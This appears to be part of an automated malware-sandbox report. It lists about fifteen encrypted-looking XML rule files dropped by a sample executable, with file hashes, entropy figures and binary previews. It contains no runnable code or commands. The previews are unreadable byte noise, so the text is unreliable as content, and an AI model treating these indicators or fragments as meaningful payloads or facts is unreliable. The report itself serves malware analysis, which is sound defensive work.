Preview:	<?xml.WRV."/RXI..2...4.u9PA...(..1=n...9..G2.2..6.I.~i4..+.&...h4...+..\|bOW(..............KH........q..d......9tr.4n..,......g..t.(]......nRv..\|.4?/@...&.r.....C.,h..?..'6/..a'g....5w....q.....FBS..W..U.w....X..b1..&i...6..C.....v...m9.<...m...........IZ.M.../W.=L....<g.........?.H..Y...E....V.b.._g>...........o]sU...3..9.o........y..H...\|e.Y.".^.^8.Z.T.;..jw.n...(.W..n9`).,..u=s....n$......mg.N.[..;F.k.".P.J.8.`'.....W~7..AW...%.q>H..j.l..\..h\|ai.5.A.s.Z....`/?.-P..l!.;Lc...Z..B{E8.~.&.0....I.y.oom.M...'/.K,...n...=fzS#..X..Nxc.w...).L.X'.....TA.a4....m...A.#....vd.).B..R..d.>..W..y..36.)..s.E.9@*...\..8.I.c..\1j.4$..O..3.TZ.D.<..=3........ ..jB..@...?.x@........O..\|.1..H.DL....%..........\.........A.c.'p.....b-SL...#.....;JN,t.Z.)s.%..T}.w...M.$.k.;\|?..!...X....IK.....\5d..L..7K.fK.+kj... t.x..p....Ze\|.....I....2..z.O\..u0......}a....S.....d^6..`..w[D.3...N..>@.jg..8..K..,......W.G..%p.W<.H...c.r wN..\.8.e.jf.=..u.{.yY.."..s@t..I.j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.8947978455918
Encrypted:	false
SSDEEP:	48:3V8aDfcUfdrHEJkMhbdJJWqzQsxPiHxL88amFqFD:3PDfc/JkWdrWEQscHxIAi
MD5:	6081B75C99FC24AC122D579933426361
SHA1:	FFDC3F0F8A48D1596B384DE225CE37821A177DF1
SHA-256:	401276F77686B1BCFF17E4209A39035F3D3B79B1D559D0F75C2ABC256DCFA052
SHA-512:	17087059B975CD948C8EC75F2A5AA1AD2F7B0E278932EA891F25B6EEF4D3097569CFCCE67C456C00B1B1C093189E97ADD0754A0D2F97B3F75B7D595867504C3C
Malicious:	false
Preview:	<?xmlrx....x;......2`...C....s..J..T%...e.....C......Z..p.J..K.&....yG.. l.D...8.....t.....?'BU.,Q..c\|..RrW..YA,.w......N...)..7/..I.#.......)>....m..d.y...8..t...b...?.A..9.\|.@s....h..4..H..L9W..q.D\|..y...(....i.[j.B..,.=~..@.........C.'..=..:c..~dz..&..5.h......0..Qi.i.j%T..J...!d...9D>a6.#...o..9.z.U...$$Y8.B.....g...Y.^.......L..c\|A...D.....-~..kl%.[.Y-7.G5W.7w.&.......\|....Eu.AjY...).(.["d...CMz:r....y...yO........{.yMs^.]....8..%.^a..?....N.s}..D w.W..%J".OU..8.........~...O..8......4.?..eX..=.9....lH..Q.g.U.W..6&...Mc...T.=...&.<hG.bh.:..:.U`.....hw4..W.Q.p,.....S....-?.P;\| .RI.`.@`.{.W..?...H`.5N....'.D.wa...Z.).....Z..qk.5....l.m..wIB.Nk.+...(..{!...J{.1 .J.3~.zR1p.N./*..r...:W....l..aC.w/.9Ub/....7ajw./.3..M..x..MD......Z.....a.L1].I}f.zD..".&.k.\...r....?..sx..0c....VW....~z.d...@.?.T...Q..T..W.`S.Q.~...e..ipn.../.x,!....X.,.L..UQ..?x..s..s}....1..t-.?..iY.i...Fc......'..6b.h.&..c.6.CG..5.9.?......k.;s..Y....G.]......m..V.m..-..F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.873414559661885
Encrypted:	false
SSDEEP:	48:goL9dBVmV5G3rSxVOG2mAK3vnIn4bWNrh7e1MOQ4P/OAPNkD:FDmjGuZ274vkGWNrsatEWAPe
MD5:	D38EA5A1DEBCC3DC9BF818CE07F7C4A4
SHA1:	DCDFDBD17FE8D117B1FBC85A518FB5A715529131
SHA-256:	521126C6AD47356561488D773A78D1F25F6D317BF58DB0625C4951AA6E571804
SHA-512:	C5475DEA7A0CA7171C6128E2CE5A9DD50F83B338010EF39E404F684539E0FDB18B2BB1F97F78E46793902509E92F4C24A6BADB3AED74D233E22108B60C3FE705
Malicious:	false
Preview:	<?xml.z.....;.......v.\|..R#.+".Q........B......O=HU..oI?C...K(..!>.-..9.+gwP......_..\|h.]{.9.F.GU...E.]V..bj..h/.i....t>9zP..y...'.T.ar..I8"-...r.lbo-...c...........sc..(...:c./.j....L+W4.'`.di..d.N.Y..,pYM..r.>3...]7.m..............~...T...}.f.....9..Q@..Z........PL.1~...g.......X).......0..Vk.......w..r.......C.O..).C.9.x4.p...$..:6.A......:..?.. M@wu.....5_.<.....5I..;kl...,.3.9.Q..N."...Y;:...........>...g.......M...=8W....7..g;fz8..0.Fu..T..ww;.[/`.q..QoV....Y....)..e!....$.Bf. A..{A..HI....B7.........c0.J6.\.F....\|>...x...xJ`........E.j.....IKW..y...+...4.....F..:.r..C-.s.jo.\.p.K..o.%K..q.0.P.E0N....A.........lG.@.X.>....4q..c.....A.=..Z.u.%3....U5..K3g........Ts.;+,r...BB.({Kt..........w..;...^j".x..Q(.#...)2.nw..R.7.h..y..U..w[1.....b..."t:l{.r..>.B.........x.I=g.}.P.....v...G.7Y....O...0U...{.%N........?........XgjWb......c^...\......c.1.Y...k..+..".\|........Y..t>W_v.5..X.d..3.>........c..#....:l.#:...C....'}N.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.879238136813956
Encrypted:	false
SSDEEP:	48:MmZcXu59iRdSkEP6885vPaD4vMx1dsrjCVKeGxIOSLGD:1ue593yPOdS9egue
MD5:	822CC91005BDB49780FC9763A4DDA5DC
SHA1:	C76698A6821072FBA6BA87C9EF4B7CCA5ADECEA7
SHA-256:	719D27E559DA2943519E9B5B936D6E187079E6EEA6BD2664ABB9384EA5BB69F0
SHA-512:	0AC30714CC0970B3D0921A3DACCEB9D01B1F796F19F34E991F77C7D3E2F1A590AD7AEA8265C6984D9A91C285DE5FD348D8221926475D3FA985C0E87AF6C72F4C
Malicious:	false
Preview:	<?xmlN...Z........#.K..[..L..4.D.....X..IkQ..AI;h,[\|[.._......#M$........'.3.D.(r.0..:....;...?..@..E....B. .#.....=.<.#O....{K...HD_.y.D..yp..`..KbKj....&.......g.N.I..6....,\./#).).Vb..o.{/v0.1......s#C..l-....6.\O......?.B.?Y.o.=../..5.N.t..@8.B...i.7"}...6U...r9h.5t.4N..7......?..'..U.r...<...l..d4......."....B...p5..........w......e]]...O...B.E...U..\|. .!.......Y..I.cJ.o......F7.....T.$Z.n8.H..OD.o,..?S1.?".Q...A..V..k-.Dj....c.H...;..q...(.s.x@.-.U.ds..l.....-.t ..'..#...u.]...)E....-.^o.D..W<W.\3.e6....6y..z..c }CJ#......3.,qd1.UsO#ME.v..0.vM.GgV.t..M...h.;...jB.......c..>,.?...4..?3..FO.Vl....Q0eg..I......j.+..[../....\y.......S.....B..]&..i..d.....q.L........h8j. ...A..22..-.-u=5...e...:.zF.C.G#.\|...Vo.K+/.S@.Og..<8.. .\.O.!.W.G......s......SYeR.M...>.J....PQ.o..JM.S....uy.r.'.i ........k^.{..2-..S..S.g.....~...%.=...P...G!..[....l.P...+.s....; ....o.l.B.Z....y.......z.......c...Vd.T.4.7y..:B..GO...&<.D..i..$x.pPVh).'N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8906087809544925
Encrypted:	false
SSDEEP:	48:h5wFEBX6+Z0XbMPZ5QRRqqVI2k4TFp9xdyD:h5wyJ6tA0qqK2k4hu
MD5:	8E54B39B72A03D333D5B61B1627800B3
SHA1:	C65AFFF03C8BB81A9FEBBF8BBC950F9DA58B99A7
SHA-256:	91F1875CBA5AD17DF1A14100FB1200864A3790B7B26E82A1F185D74E8B58DA0D
SHA-512:	73935329EBD4AD6C2F07192D45EF13EDF860B6582215161ABC77B6DBF4546584482F975FE1FC5978E6E5AB9B0D15E82B937DA05E677F7CA68AD9F34ADDAA0BC7
Malicious:	false
Preview:	<?xml.%0............p&!..'...43..Yu.z..A..0...i...]I<.Q...n....R....l[..#...t.'.. ..W.p`k..&A..p.....@g....4M..wT./{....3..e..a.....'.?.N......p..m.X=...Z.".-..sW.....Y$...L1.%.u..MTx...-...p).."..sJJ.3..-.G..o.o.....Em_..J4..;.}......~..1.;..xF...`K.f.S..k....v...-.....\|......e\|\|D.s.5.1bq.Q....t.S.qk?x.....2>..p...$0.=.j.j..,...b.i.#..V.U......H......1..M."5....p...V..q..f.H.(.S.\|._.....!....C.....t..t..O.8.S%%.\.....F.V........!.^^..5D.rq.MuO...r.4.....} .A9.-........).H@.....{.j...'+....a@..ZJ..TW....."..B.R.......e..M.Y.v.{O.G.u5;...(.w.....!~..{..h.0 j&#......v.k..._S..t....m3.^...O.0...r8T....}.....n6Y....o.*;.h.}...........x.`.@."..y..c...\|.-..U.qb..==...U...[/(o...5<.l.dZH5...........lt..{.w....D.....d..8~=...T0dd+#.I.8.%.~.a...L..t....."$..S.C......!.;...~.....jp.x V0n.y.MY.4.F....\...,.r...vS...A4].oxe.....\|....U#.<D....cE...]!.....<\|.P.Q.$.r..9FJ...j........V+.sX....a.L7.=...n.....}.....B]4..!._a..:%}L.k....Q.t<B...6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.892727129855582
Encrypted:	false
SSDEEP:	48:BmacBbzSiCDFpNyaxkobqdFyBZVfSyG1GXQttPVT/JLD:BgKHDXNYvdFIFcGXQf97t
MD5:	07E08D8E57F54950EC021126D731915D
SHA1:	E65E73A8FB949F3E0EEFD67DBB8F7EA16F448834
SHA-256:	C718B63E34AF5370E8B93FA1DDE5E1FBCBE65CF1EC6CF93FD9D7DE3EED8FBACB
SHA-512:	1F2D6FFC2C80E2D616DF9BC48EA3E354F9638D4E62590C816F64583679A4F163EC04C2722E176EB8921929AEB110A3284B3B4AF5F64BC97490EAC4FC0B1066E0
Malicious:	false
Preview:	<?xml...#....VG... 0.y..7...jM...%T.&.......y~..}..........k.J......S....L0.Nn.`J.^@.$.uV.[q.T.......J,M4A..T...........=.(..s.\|{..m.[..G..g\|./.Mvg..c'......O..?I......K..[8N....b.m.x.^...?......C.....A5.B.......8.@..R.[Cma..H.SxEh......S.7a...../.,.Q..z..s+.s..+....z....h.?.0$t.....>).....D.ip\.!..^5.Z..BA.P.\|..^6... .....1U.....[:...M.....2.d)4`,Q.V.HT.;w\.....4.WA:....'.s....m..i..J"n..$4........[......6l.....?,&..q.;U.\|...{.u.1..mv..T..l..4%0v......Y....n]#K....S..^.M..WQ...^..X7...8....s.>..X.F....F._..".._.b...[...%.b.zBl.H...z....."PPE..T...Z.1a...;..a..U.L?...p.)9.b..].>....:..b.../F.POR...]i.q.S..O...3...k..X..W.\....U:yCT....g....wx.0.7....RO.}..<W!(..l)..8Q......I...........%...i..~d.6&N&C.M.....]..J.`<....N0.I..*U..%..yj.71.b....\|^.r&.i:......4...L4.<..c....u?.3Y.V.........E.......].....aQ-.M.].-B.z..v0..W..h..W-.aJ2../iPT..`....DN. .~.j..d(FZB...kR?x.'G.c.c;.c.n.eE^~....CH:a...-..j...pA.{. .9zX.\kF4Q3Fu. ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.883551764731914
Encrypted:	false
SSDEEP:	48:oBa1/XhhHJIn83WSjKIo/j/PTOEB53PzMjD:ph35pKd/jnTOOzC
MD5:	7ED6D4D3C1FD0167B8421B8D66DC8FB7
SHA1:	C05679239F1532F62B7EC1156090EE76ECACD69B
SHA-256:	E7DC118ADAAC4A4B390AEFC727C4D047C819E80C5AC1F6B94BA85EED73755C6F
SHA-512:	D03F754C4832DD244D80D8B0797455CE25E4C8BDC1E47183ED75BEC6348984DE802062B2383741966B788A14E898DCDE93738C2ACBC2337E19E7DFC56381D625
Malicious:	false
Preview:	<?xml...m>.........G...0..&.[..p:.6..)y.jU#..e..".d.{.FN.\|3C.l`..UF.=.....\k....-...H9.d..Pq...... `.J...!..r!.u.{....>..jVt..L...x..R..]...H..9...tY;..B.U.4..K..k.. ;.B...c.....m+v......g....(5.&..5....X`vv.`...{..1.. .UU.7..8..M.O.....p.tp.....,...c..c.;..& .q.:\7>..s...T......Js...t...9J...u....{...6A.v.o...d.c..qq.V..n....o.g.L..1i.0".XDE..}..<.Y....%...N..xl......'..<O.4....._)..4a..z.z."..U+...8;e.3F_.I...to.@T.i.$....Sg.z....VShI......5..fa=....p....v..t.......ta_Qsb~.C.Q.....v.0...Bw....C.$.5....8AL.....}...c%'g.. .4..z............TWi.F...=f.?{l...8=e.@..H.<..o.4.m........P.....U..F>."...@..*._x....m.x...\|.#u$..Tmx.C.k..q.G+..........<3. ..u.0.l%Q.......0.S..]....#.S.e.O.k. }5...z........$...T... .9..fv.=.Dp.L....a.vz..8...]&.'.`0....c...7..t..wDL.#...U..S.Qd0.\0,.]e.T.. x.qe4z}.. N2\.u.I.1...C;Ue.4.\..d.K.q..~X..s......pC....{._.^$HkN).......H....(.....R.....X..J6.....9"...K.9..f>.Gf......w~-0....\|.o.G.{...6..g.......B[.N=...r.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.875097129948389
Encrypted:	false
SSDEEP:	48:VcXO7BycGBw3wTmFHme1DjmICXMg2f2uTSD:Vc+4U3tDiMsuT6
MD5:	831C5EF6B69D3F469AD73D4130922BAE
SHA1:	C4904E42F54CD672DE009ED737D9AA40BE270FBF
SHA-256:	E9DC3C19B849D68E434F78EAC35B87F7FD642A29155EA56E5D887B82243B5B8D
SHA-512:	AD210F84DE2CC6FCE95F218B4B5A55E4EC64DB5EB5857FE2F0A091AFB3BFC2E90C9180E4F2699C72955937B053E01184D386E03F96849F997CF6CE60F6800A04
Malicious:	false
Preview:	<?xmlz..L....>..{..2.=.:..kS.!.,D.B<.w.?...k.)[.....- .......k.....e..-....o.$S.....s...g.....l.g...HU Kb;.$...KI].....&...O...+0x......Y..fd.~%.......dT..V.?.hUD..g9.>x.s~.....f..1.....8o...?kd.'e...7G...8...XSm.p.#...V..(B].&.K....>..u..f.q;....7+r...\...\|Tm.....kqT......9..a.1..E.d3I%...R.....v.d\|{m.\........;...c...Z..8...^...$..7...qt.S\...?.(........n..pg.b.{.'..!....q.=Vd..0.R..3..xZ`.G....MH..j.@Zz.JfO1..)..x.k...a..j..lE.+.07j).J....-.$.[.p.k.....qC...[..U......[..(y...&.N7...JLcw..Q_..e9!i....=..K..A11..b.....G..N.&.........l?.\|?...,..i...U...`2k....n...h....:.....Z....bvM.......U...:.,b.qb....7.x"..b.N. ..T7.yn. ].6Gf[-.E"`..m}9#.....G.+..Vp...yM..@J$7...C)....%Z.........O..d..X..].9.7.UQbQt..S.g.prs..}J}.....e..z{6M....\.y.V..hie...x.?.nc..^1.I.J.;.y....u......"U.t..."..Q**.n.....k!E.+.&.\|...T.]..X.K%".....C3}<e.....W{<........\|4.\|..^.XT.~...e.....hK.m.....Fq..Q..........e.D".3...3.R....%..\|@.....;...k!.....).....i..~....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.875436183944396
Encrypted:	false
SSDEEP:	48:i2WJkhlcFUpvavT1epepX6RopbOH+0qlYM963AlVEy/D:qJ+lcFUAvm76VOe0AzlVR
MD5:	DB46B8407F031B2FD29026694CCCE2A0
SHA1:	AA6D618D2FB1A26C5F9A1F9CB03D8C2780A869B1
SHA-256:	A8E4C15610506C32387BCE28557F063E544C53E3230ED514C5AB27B5B4D22240
SHA-512:	0C4F25652CA237A1AF813BCEA6FA9CAE6C1A61C137C2EFFD39D67619081BDC76357E16BAAC8E433549701A29940229D9078F6C06A0680BD0A014209F20AF9C5F
Malicious:	false
Preview:	<?xmlRQ&b7l.It..P..\.f.d.2..........LS..u...G..9\V...MYYy.F........rA.........^.d...9.}..b5....c....A.......G.:;......R^.Z.W.}..)..t7.....B...In<l.$.u;.!#..uD6.ID...K.g.G.b.$i..>.~... #ItFV3T.w...17...@...n...p.?.<.c...Ov`...0@Sy...gy.e.F..>...J...nU.3..~.l..H.$.g..lp/Qa/_...[v^..Y.....C..R......_&_..Sl+.....iu...$...>..._.8..YBT..2...0.C..K....e.ooe...@y.j...O.BW"...r....{..Y..q..s8./.......i...A.C......&k...x..M......B.A..n..g...e9../.N......q._S..#?H.F.0.A..n.\|.....$.dR.....L.t-$...WU..3.4}.IP.=...t..B1..s.@.....p...z....e..h.4w..P...;.3.s.\|.V.Bau.G.......2.`...Q.H.g...o..aC&...G...c......8W.N.`2^..ZS4T.=h.P..i.....5m(.l...J..d....._.$N..(...DI.3.,.3.%;`..?`o..>yk..:n7/.Gm..............f.] ..b..I.s'ZPV`.SK..5}Z.{....x7."...........0.'$./...#?..........]..%.......s..&.......T.u{;.f.."?.~.wR.U"....o.N........!.c8K.<.P.$3.6.Y.h...p.^...K..m...g..[.:6L..i.A.P.@t#F.Z.#.<z5Wt..V..........0......-z.M....../.k...-Z..Ul...c.5...:.\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.863339070336975
Encrypted:	false
SSDEEP:	48:dCjPtN6J2B9xgok+kp2RDj0D+MTVnf8eP9fj5XZhD:dOtq2B9xgok+zMTdj9L5v
MD5:	6D42E6BA2B371C768006D5E668C732E1
SHA1:	44B48216E87FA2540114EACAEFE29ECF04836AB5
SHA-256:	572514D23E2B8620B26E972A9BE1CA2C043369B6D07B76ABB1B83CBABE4FDAC4
SHA-512:	8338AF0AD7B38335BBB29DE06601165DC16F62AECDEAFA720399E4A8AB2DA090B590982854B45C156E66883C5949F48B546F15FDD2153C27D9096ADC641E09C5
Malicious:	false
Preview:	<?xmlw..:e........5......a...<J..f&...N.H.....j.p.......3Z....YY.SVfzRP3.$...{...`.....^.`.H`.p(r.J..[PO.#{.t\[..>a6...D.......W...!b..J......N...@.\......... .x=..6}M.....a.W....1.<..t....9.5.].....W...-.6....d`..W.tx...z......V.1.e.K.{R/..r........@..x..aK.\...e..X.g.....%.T... .#.hg.......X-bQ...J.\..{...X5LX.......p:>.~..!eG..^02....b.k.l{S.Y.....l.4H..A..f...F..R.-..E'X..tl..:...4$.xFr..y.j.OT..g.A....#.CLJ.S.x.Q._.....~.6... 2.h.....t..6x.8yt.E![..Hh.o..R.F.....h_:8OlIw/..A.....4.E.`.%....u.7.w]./..+B(.N.{.T...%Ot.......4#......X..y.7.A.?(i>.E\|.)..z...n+..>...p.V..o...F.m3..5..Z.)dg..<p=r.H.,Z..03.Z..]..x....>e.F....YD.F.h..M...U.."....r.7....]...B)->?...xl.i..'U.Va.$.....Z..e+.aZ.jD.y_e.H."...j.J....\-l..}..s'....{Uh/y.D.{}>......;.+.R.{9R*xd.l(.Jy..0....^....g..H..3..!..P....7.C...K:....:.$. .].C....'..>.....1..&.Z....u...Fo.V\|..pT.6....\..X.....M....j.0.a.......L..D./..`.4..7.l.\|B.....I..8....]..~......l..+ ........T.CID.a.]yz}h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.879358824366016
Encrypted:	false
SSDEEP:	48:BiYT7C3zRadpQ4R6wh0cGLDPdU/fSvmSBbp96Ho/WOeD:54zIfQCh0cGXP8kmStp94o/5m
MD5:	86B686C06C890A61E112D5C8D3257DFF
SHA1:	BE7FC1D9D66CDD763A86CB1904AAA2396D22FD2E
SHA-256:	7B284D322C9C633E411955232D7D5B558EEA570F72FD435F4ADA377FECF57BBE
SHA-512:	258C8F59624FD19AB61929F298BC19A07FC088D7FC4267AF2BC8C525679D3D0958BDFD50E8A610898040BE6300D11FAB8965CFB6A9543474FE4278FA7B9E1E87
Malicious:	false
Preview:	<?xml..!....o..%0......../..B.../,1.8.@.ZXT.h.}.......F.W..0..M,M?.'..BU.._..+.2..aqr..0..,`.[..T~O6r{.a........#._....\v.R...........n..B....R.\(.......!C.9I.z.,..i.....-.7,Kc....qH...~.Qi.E."P/....D.4..#}v..>j.N.g.....~H..B....d..yB.-1Fp9:kzx......lI......Q...[gU..Ar.'?...GnnE......@.i...A.Oxw:.~.6/z$r........7Y....A...p..,%.d..U..6r........C..WSH.KR..<l..<..7.X....)SQ.p..=..v..-U.....vJ..y..\|..gW..TH..."Rv.....B..B...\|~.j.....Sb.........\."q.Bl.J..v...c.<...M.....n...g..Kz....-KO.r.i...0./.)..x...Z..(..\.w.G%t.Vn..-DT.@M..d.9.....%J..]h.u.M:.Ki\.(..%...,.frmD.e'.+k5\gQ.7../0...M.../..4.....B.wG/=.....&.KLox.$..[B,w4n...\| ..P+........3..=.<.=l....l........zV.M:Z.i-....^.,=....N...dv...YjQ_.4..Z.b.._O..~.....6J....G......k.NszB7.I..;@N.%..G.O......6 ckM.._".O.~.X...D..zq_...b..).P.<+.>HQ../.Z.^i.~..\|Kv...BM1[.?...q...T3K....$I2..p).SK._...ct........Ou.p%N.^.I..B..3.yD...c..5....M.6.................~.y.(..q.6..'..[.........2.i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.887380988084662
Encrypted:	false
SSDEEP:	48:F+UbumBXNiHBEgNnlUPRHssl01i8G5adxCwSR3PfG3D:F/3NiH7Nnwsski5MxCnfy
MD5:	7FDC329DB1F9366A13AE81DBBA90E083
SHA1:	E50756957AF944106DED2EB2BC31520CEEE053EA
SHA-256:	F01E2460DDED1509CD76B6E0715106287F5E46563AB90692B5385F43B4649ABE
SHA-512:	AC7088BA91A57B8D017DC104E6810B328444B569C4AF1B653F9456790A41E83A19AA968DDD434B53257C3D3B6B5FDE0F293EC6ED4C5A2D9351D2AF4D5C856593
Malicious:	false
Preview:	<?xmlo".?^u.XF..>[!.9l....f=.....IK.K.S,\..v.,.v'.qB...}....H.m.\|PW.XP&c..`'W..H.."0.jk+q...5..c..R......]..8.%j......3......L".3\|^..5...d.Gw.E".<.@W../.G.....q....X....&.}..V..A-..ZB...}%{. .x#..-.....N.T....t%...B.'<..U./...M....Z..Xy..I.!Y../Cf.....6sm....#.o...c..F.Se.M..s..P..+.}.-E.O....9..k..o....t. .i.tB....B.c..........D^Y..o.Z.y..P:.UT....9.5[...."NB.%....._.+3.@1.%.9f.<........R..>A...!Is.'........c.u+....70,....i,.<...n..'d^.p.v..._G`8>..^..,.J....o...#('...fp..5Egf;7.l..~.t5.G...D.}0TM.P..@'E,v...Hyb3m.r...n.......q...B.l..Y..!C.........o_....P..u......"9.....P.gn.+.OR..t.e.2.8.;..qo.2D..n..b"...V...~.K.e........7..Aw..s......\|.....O..d.f....`.[..7......#..m..W..e..@3vT(.:.kP....6Y...,...C.X...u...d..(...y.zW7.G)....<.f...+~.....Z...l....B.0....r....J[]...(...J..........5\..b.qtY.....M....S.;r....C......G.J0...-.}qu.!K=.....N....-:..m.H..e....e,..0y=.>.7...?T.$W...>s.n.4.s.n...j.[.../..p......G.....)PI..>...U.6~?.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.880280538400719
Encrypted:	false
SSDEEP:	24:mcHWJZ8QjkZsjheXYZtj3hPuO2d+HfDOOqEjcfdHAeM+19vqNyhcZdjB1ijQBgYU:mcHWk/ilcOeufDOOq6chg+19uHi6KlD
MD5:	0EA26FCED98BF626AC4EF60656CBA9FC
SHA1:	BF39F182BB8AA10119A3A91C3CB11DD677F74E76
SHA-256:	9ED3872CBAB47C9BECE4FFB7663B2BB3B4254642A430B79C8F201ED785705970
SHA-512:	10A5032998DC20706934724D8E5357B199952BDA6BEB2274FB2F65AAC032E7658768EDD1FE9DC08A072D16CFE72DD785E1009E812AEFF4852B7B0E496E365E7E
Malicious:	false
Preview:	<?xml.%..T."..p..O.2>............ve........=....%...f>.T-.&...8i[..F.h.P..7..}.?..%D...k.q..~..F+....3l....?.=A..Ox.eK.h...j....Ui..l]...L...k..s.4...'..Z.Q].+...{.y..Wb.."......{...a.0..8.H...,]z..X........`)rv.......9ui.5.tsM.RV..v/.O.T..I}yD.....`q..k.H...._...nc.`.c.a.}G..l..V.^...W...\|...9..G~s..k..".D<.u7..l.h...wx..^2...?n.:h......k..T..a...M...W9.K..G}Tq....i....huk...L.". ..P}9..j......a..L$...Z...mnz38[...0..].I.M...q.'..1..Y.++U.Z....\|.d.....{.....D.y..n..~&>l...v5w.a....!..D0..%#......Q......y.Yx.....fC.u....;-....G$..C.n..q.'...1..w....".W.-..s.S.s.......Q....g...JD.I.X.+..\|A../.)p..;..$\.p..............&).#/..U.`B...v(.b.[}........$].Tu5..p.........>..C=Y.-S>..>_p.xS2y..4.E..}]../;9Z...._0.0...`.F..p;a.G.,..=.<.U.]E4..Hp..p..6.o.Z...2.g...&.....m...H[...."CcmVa..m..\....?.....\.S...d8..S...0.p. ......z_.......).i0@[EK.k"....w.`.m%.&.9.7;...Hd..#X......P.%.:z.ki....Ml!I...z3../.].q....y..?.4.......>..%.`5...D..R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.884376303637085
Encrypted:	false
SSDEEP:	48:0mhsmu1fYGmvqVUxWS7yUICuVfDTa0Rr6JtukY9/u1D:0rnoZxWbHK0HkY9WN
MD5:	0FF0B455EBFC0B588241BB55AF912ADD
SHA1:	F6DB37A84ECD34B711E3B1CB896929E5F8415C44
SHA-256:	301FAF27056D8B99EA14A0B24E2F115CA1C04C50C00C7217F4C6BDCB1D9F2635
SHA-512:	A0F84A2DE00FE8FEAFD44D6380A463963EAD33C328774E8EAFB6558162A78AC3509A07FC717E3CE8EC06C6008574605CC6FD6EBB60A85C0FC1ABCBE4DE6ADFF3
Malicious:	false
Preview:	<?xmlQ...........S.7.%t.N...n.......c.....BGP.+./D.U.......e..~S.N.%n.h,."....d....+.....15.{.e.y.z.....+A...39.:9.je..h..1....}.o...?..C..+..=I.#.....v...;y..X._.5.yz.2...%h;S>.Oy\|...Z..[D..2...k06..$!.bI.7h...:.=.w6!t..cTW..#.A...../.......+.....l....t........0..e.X.`.. .....0..}=.Y..J..0.P.vr._56.G2.m kxTs.7e......:+...Jy.a.]\|.d.,B....L."...P(.....W$..M.p.L..y.]+.....e.A_)?B.i..Q..,..({.s..;..G.bo._;.W\..P.....C......... ...Jw.1.i.v.C..!..},!E.........D..f.m0...S&......I..EH.6..H.4.".gU..$9..F.'1........K..~.Xo....Ri...8Bg'.}d].#.lE.P`>.2Fa\|.c=@./.T.k.oq.3.P.qX]k.9O.4"&..J..}VT.V.U..J.u..H..^....t..#,.]"}..?..=..... %....O..b>."=g.%..g.~uV.....cF.p9...;..8....2...q..x..z.P.6J.V:.Fv,..k0olG^...V.O..5..Y4..F.."......E..\..TA.!.............a.......;y...@@}...j..u.l2.......D_.n....e...}.o.&..(...O.RD..v].F>..r.\Z7L...A=.}..8..`(~.,..K....N....KI....`..L..#......p..?&&.}".W.a....?+j%.:L...b<...`.E..!......j...(].x./.D.3...2...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.862601610016568
Encrypted:	false
SSDEEP:	48:es79tUnvhUymR95ETZClo2HhWYfA6Tl2ECD:esZtopUylZgo2HhX5YEK
MD5:	3D0C5E440874FA0C2D9A1BFB6A5CA656
SHA1:	6415D89D73E2AB94062D64B3B5ECB8FA52AD6EDA
SHA-256:	5772BD2A6EF7C3BB5E57676D23B8B0803975BFEA3F0E4A3D678716FF7D1DDCA5
SHA-512:	BD9E4B6ADE0BBB4BEC43BFD2D695434D413922310D3BC4623FA99EC485F3E547C6385F550F0FABB050DB21C6593ABF96811EA5E8D895E4212BD330E993E406C5
Malicious:	false
